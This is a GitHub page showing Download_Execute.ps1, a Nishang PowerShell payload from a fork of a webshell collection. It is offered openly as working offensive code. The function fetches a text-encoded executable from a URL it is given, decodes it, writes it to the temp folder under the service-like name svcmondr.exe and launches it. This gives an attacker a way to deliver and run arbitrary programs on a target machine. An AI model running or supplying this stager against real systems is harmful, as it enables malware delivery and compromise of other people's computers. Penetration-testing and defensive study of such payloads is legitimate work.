forked from tennc/webshell
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathDownload_Execute.ps1
36 lines (27 loc) · 922 Bytes
/
Download_Execute.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<#
.SYNOPSIS
Nishang Payload to download an executable in text format, convert it to executable and execute.
.DESCRIPTION
This payload downloads an executable in text format, converts it to executable and execute.
Use exetotext.ps1 script to change an executable to text
.PARAMETER URL
The URL from where the file would be downloaded.
.EXAMPLE
PS > Download_Execute http://example.com/file.txt
.LINK
http://labofapenetrationtester.blogspot.com/
https://github.com/samratashok/nishang
#>
function Download_Execute
{
[CmdletBinding()] Param(
[Parameter(Position = 0, Mandatory = $True)]
[String]
$URL
)
$webclient = New-Object System.Net.WebClient
[string]$hexformat = $webClient.DownloadString($URL)
[Byte[]] $temp = $hexformat -split ' '
[System.IO.File]::WriteAllBytes("$env:temp\svcmondr.exe", $temp)
start-process -nonewwindow "$env:temp\svcmondr.exe"
}